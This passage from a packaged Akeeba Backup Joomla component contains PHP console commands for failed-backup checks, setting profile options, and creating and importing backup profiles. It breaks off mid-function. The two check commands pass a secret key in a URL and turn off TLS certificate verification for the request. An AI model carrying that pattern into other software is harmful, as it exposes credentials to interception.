		/** @var UpgradeModel $model */
		$model   = $this->getMVCFactory()->createModel('Upgrade', 'Administrator');
		$model->init();
		$results = $model->runCustomHandlerEvent('onMigrateSettings');
		$success = in_array(true, $results, true);

		if (!$success)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_FAIL'));

			return 1;
		}

		$this->ioStyle->success(Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS'));

		return 0;
	}

	protected function configure(): void
	{
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP'));
	}

}PK     \	3    (  src/CliCommands/BackupAlternateCheck.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Http\HttpFactory;
use Joomla\Http\Transport\Curl as CurlTransport;
use Joomla\Http\Transport\Stream as StreamTransport;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * akeeba:backup:alternate_check
 *
 * Checks for failed backups using the front-end failed backup check feature
 *
 * @since   7.5.0
 */
class BackupAlternateCheck extends AbstractCommand
{
	use MVCFactoryAwareTrait;
	use ConfigureIO;
	use ArgumentUtilities;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  9.0.0
	 */
	protected static $defaultName = 'akeeba:backup:alternate_check';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   9.0.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE'));

		if (function_exists('set_time_limit'))
		{
			$this->ioStyle->comment(Text::_('COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS'));

			@set_time_limit(0);
		}
		else
		{
			$this->ioStyle->warning(Text::_('COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS'));
		}

		$url           = Platform::getInstance()->get_platform_configuration_option('siteurl', '');

		if (empty($url))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE'));

			return 255;
		}

		// Get the front-end backup settings
		$frontend_enabled = Platform::getInstance()->get_platform_configuration_option('akeebabackup', 'legacyapi_enabled');
		$secret           = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');

		if (!$frontend_enabled)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED'));

			return 255;
		}

		if (empty($secret))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET'));

			return 255;
		}

		$httpAdapters = [];

		if (CurlTransport::isSupported())
		{
			$httpAdapters[] = 'Curl';
		}

		if (StreamTransport::isSupported())
		{
			$httpAdapters[] = 'Stream';
		}

		if (empty($httpAdapters))
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD'),
			]);

			return 255;
		}

		// Perform the backup
		$url          = rtrim($url, '/');
		$secret       = urlencode($secret);
		$url          .= "/index.php?option=com_akeebabackup&view=Check&key={$secret}";

		$timestamp = date('Y-m-d H:i:s');

		$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK', $timestamp));
		$this->ioStyle->writeln(sprintf('URL: %s', $url), SymfonyStyle::VERBOSITY_VERY_VERBOSE);

		$httpOptions = [
			'follow_location'  => true,
			'transport.curl'   => [
				CURLOPT_SSL_VERIFYPEER => 0,
				CURLOPT_SSL_VERIFYHOST => 0,
				CURLOPT_FOLLOWLOCATION => 1,
				CURLOPT_TIMEOUT        => 600,
			],
			'transport.stream' => [
				'timeout' => 600,
			],
		];

		$http = (new HttpFactory())->getHttp($httpOptions, $httpAdapters);

		$response  = $http->get($url);
		$timestamp = date('Y-m-d H:i:s');

		if (($response->getStatusCode() < 200) || ($response->getStatusCode() >= 300))
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP', $timestamp, $response->getStatusCode()));
			$this->ioStyle->error(Text::sprintf(
				'COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR',
				$response->getStatusCode(),
				$response->getReasonPhrase()
			));

			return 100;
		}

		$result = (string) $response->getBody();

		if (empty($result) || ($result === false))
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE', $timestamp));
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER'));

			return 100;
		}

		if (strpos($result, '200 ') !== false)
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED', $timestamp));
			$this->ioStyle->success([
				Text::_('COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD'),
			]);

			return 0;
		}
		elseif (strpos($result, '500 ') !== false)
		{
			// Backup error
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED'),
				$result,
			]);

			return 2;
		}
		elseif (strpos($result, '403 ') !== false)
		{
			// This should never happen: invalid authentication or front-end backup disabled
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE'),
				$result,
			]);

			return 103;
		}
		else
		{
			// Unknown result?!
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE'),
				$result,
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO'),
			]);

			return 1;
		}
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	protected function configure(): void
	{
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP'));
	}
}
PK     \%    .  src/CliCommands/BackupAlternateCheckUpload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Http\HttpFactory;
use Joomla\Http\Transport\Curl as CurlTransport;
use Joomla\Http\Transport\Stream as StreamTransport;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * akeeba:backup:alternate_check
 *
 * Checks for failed backups using the front-end failed backup check feature
 *
 * @since   7.5.0
 */
class BackupAlternateCheckUpload extends AbstractCommand
{
	use MVCFactoryAwareTrait;
	use ConfigureIO;
	use ArgumentUtilities;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  9.0.0
	 */
	protected static $defaultName = 'akeeba:backup:alternate_check:upload';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   9.0.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE'));

		if (function_exists('set_time_limit'))
		{
			$this->ioStyle->comment(Text::_('COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS'));

			@set_time_limit(0);
		}
		else
		{
			$this->ioStyle->warning(Text::_('COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS'));
		}

		$url           = Platform::getInstance()->get_platform_configuration_option('siteurl', '');

		if (empty($url))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE'));

			return 255;
		}

		// Get the front-end backup settings
		$frontend_enabled = Platform::getInstance()->get_platform_configuration_option('akeebabackup', 'legacyapi_enabled');
		$secret           = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');

		if (!$frontend_enabled)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED'));

			return 255;
		}

		if (empty($secret))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET'));

			return 255;
		}

		$httpAdapters = [];

		if (CurlTransport::isSupported())
		{
			$httpAdapters[] = 'Curl';
		}

		if (StreamTransport::isSupported())
		{
			$httpAdapters[] = 'Stream';
		}

		if (empty($httpAdapters))
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD'),
			]);

			return 255;
		}

		// Perform the backup
		$url          = rtrim($url, '/');
		$secret       = urlencode($secret);
		$url          .= "/index.php?option=com_akeebabackup&view=Uploadcheck&key={$secret}";

		$timestamp = date('Y-m-d H:i:s');

		$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK', $timestamp));
		$this->ioStyle->writeln(sprintf('URL: %s', $url), SymfonyStyle::VERBOSITY_VERY_VERBOSE);

		$httpOptions = [
			'follow_location'  => true,
			'transport.curl'   => [
				CURLOPT_SSL_VERIFYPEER => 0,
				CURLOPT_SSL_VERIFYHOST => 0,
				CURLOPT_FOLLOWLOCATION => 1,
				CURLOPT_TIMEOUT        => 600,
			],
			'transport.stream' => [
				'timeout' => 600,
			],
		];

		$http = (new HttpFactory())->getHttp($httpOptions, $httpAdapters);

		$response  = $http->get($url);
		$timestamp = date('Y-m-d H:i:s');

		if (($response->getStatusCode() < 200) || ($response->getStatusCode() >= 300))
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP', $timestamp, $response->getStatusCode()));
			$this->ioStyle->error(Text::sprintf(
				'COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR',
				$response->getStatusCode(),
				$response->getReasonPhrase()
			));

			return 100;
		}

		$result = (string) $response->getBody();

		if (empty($result) || ($result === false))
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE', $timestamp));
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER'));

			return 100;
		}

		if (strpos($result, '200 ') !== false)
		{
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED', $timestamp));
			$this->ioStyle->success([
				Text::_('COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD'),
			]);

			return 0;
		}
		elseif (strpos($result, '500 ') !== false)
		{
			// Backup error
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED'),
				$result,
			]);

			return 2;
		}
		elseif (strpos($result, '403 ') !== false)
		{
			// This should never happen: invalid authentication or front-end backup disabled
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED'),
				Text::_('COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE'),
				$result,
			]);

			return 103;
		}
		else
		{
			// Unknown result?!
			$this->ioStyle->writeln(Text::sprintf('COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT', $timestamp));
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE'),
				$result,
				Text::_('COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO'),
			]);

			return 1;
		}
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	protected function configure(): void
	{
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP'));
	}
}
PK     \bXB:      src/CliCommands/OptionsSet.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\JsonGuiDataParser;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:option:set
 *
 * Sets the value of a configuration option for an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class OptionsSet extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use JsonGuiDataParser;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:option:set';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		/** @var ProfileModel $model */
		$model   = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table   = $model->getTable();
		$didLoad = $table->load($profileId);

		if (!$didLoad)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_PROFILE', $profileId));

			return 1;
		}

		unset($table);
		unset($model);

		// Get the profile's configuration
		Platform::getInstance()->load_configuration($profileId);
		$config = Factory::getConfiguration();

		$key   = (string) $this->cliInput->getArgument('key') ?? '';
		$value = (string) $this->cliInput->getArgument('value') ?? '';

		// Get the key information from the GUI data
		$info = $this->parseJsonGuiData();

		// Does the key exist?
		if (!array_key_exists($key, $info['options']))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_GET_ERR_INVALID_KEY', $key));

			return 2;
		}

		// Validate / sanitize the value
		$optionInfo = $this->getOptionInfo($key, $info);

		switch ($optionInfo['type'])
		{
			case 'integer':
				$value = (int) $value;

				if (($value < $optionInfo['limits']['min']) || ($value > $optionInfo['limits']['max']))
				{
					$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_OUT_OF_BOUNDS', $value));

					return 3;
				}
				break;

			case 'bool':
				if (is_numeric($value))
				{
					$value = (int) $value;
				}
				elseif (is_string($value))
				{
					$value = strtolower($value);
				}

				if (in_array($value, [false, 0, '0', 'false', 'no', 'off'], true))
				{
					$value = 0;
				}
				elseif (in_array($value, [true, 1, '1', 'true', 'yes', 'on'], true))
				{
					$value = 1;
				}
				else
				{
					$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_BOOL', $value));

					return 3;
				}

				break;

			case 'enum':
				if (!in_array($value, $optionInfo['options']))
				{
					$options = array_map(function ($v) {
						return "'$v'";
					}, $optionInfo['options']);
					$options = implode(', ', $options);

					$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_INVALID_ENUM', $value, $options));

					return 3;
				}

				break;

			case 'hidden':
				$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_HIDDEN', $key));

				return 3;
				break;

			case 'string':
				break;

			default:
				$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_UNKNOWN_TYPE', $optionInfo['type'], $key));

				return 3;
				break;
		}

		$protected = $config->getProtectedKeys();
		$force     = $input->getOption('force');

		if (in_array($key, $protected) && !$force)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_PROTECTED', $key));

			return 4;
		}

		if (in_array($key, $protected) && $force)
		{
			$config->setKeyProtection($key, false);
		}

		$result = $config->set($key, $value, false);

		if ($result === false)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_ERR_GENERAL', $key));

			return 5;
		}

		Platform::getInstance()->save_configuration($profileId);

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_OPTIONS_SET_LBL_SUCCESS', $key, $value));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('key', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_KEY'));
		$this->addArgument('value', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_VALUE'));
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_PROFILE'), 1);
		$this->addOption('force', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_OPT_FORCE'));

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_OPTIONS_SET_HELP'));
	}
}
PK     \/p    !  src/CliCommands/ProfileCreate.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:create
 *
 * Creates a new Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileCreate extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:create';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$format = (string) $this->cliInput->getOption('format') ?? 'text';
		$format = in_array($format, ['text', 'json']) ? $format : 'text';

		/** @var ProfileModel $model */
		$model = $this->getMVCFactory()->createModel('Profile', 'Administrator');

		// Set up the new profile data
		$profileData = [
			'description'   => 'New backup profile',
			'quickicon'     => '1',
			'configuration' => '',
			'filters'       => '',
		];

		$description = (string) $this->cliInput->getOption('description') ?? 0;

		if (!is_null($description))
		{
			$profileData['description'] = trim($description);
		}

		$profileData['quickicon'] = ((bool) $this->cliInput->getOption('quickicon') ?? true) ? 1 : 0;
		$table                    = $model->getTable();

		try
		{
			$result = $table->save($profileData);
			$error  = null;
		}
		catch (\Exception $e)
		{
			$result = false;
			$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if ($result === false)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_ERR_FAILED', $error));

			return 2;
		}

		/**
		 * Create a new profile configuration.
		 *
		 * Loading the new profile's empty configuration causes the Platform code to revert to the default options and
		 * save them automatically to the database.
		 */
		$profileId = $table->getId();
		Platform::getInstance()->load_configuration($profileId);

		if ($format == 'json')
		{
			echo json_encode($table->getId());

			return 0;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_SUCCESS', $table->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_DESCRIPTION'), Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_LBL_NEW_PROFILE'));
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_QUICKICON'), 1);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_CREATE_HELP'));
	}
}
PK     \Qn    !  src/CliCommands/ProfileImport.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:import
 *
 * Imports an Akeeba Backup profile from a JSON string.
 *
 * @since   7.5.0
 */
class ProfileImport extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:import';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

        $filename = $this->cliInput->getArgument('fileOrJSON');
        $filename = $filename[0] ?? '';
		$json     = $this->getJSON($filename);

		try
		{
			$decoded = @json_decode($json, true);
		}
		catch (Exception $e)
		{
			$decoded = '';
		}

		if (empty($decoded))
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON'));

			return 1;
		}

		// We must never pass an ID, forcing the model to create a new record
		if (isset($decoded['id']))
		{
			unset($decoded['id']);
		}

		/** @var ProfileModel $model */
		$model = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table = $model->getTable();

		try
		{
			$result = $table->save($decoded);
			$error  = null;
		}
		catch (Exception $e)
		{
			$result = false;
			$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if (!$result)
		{
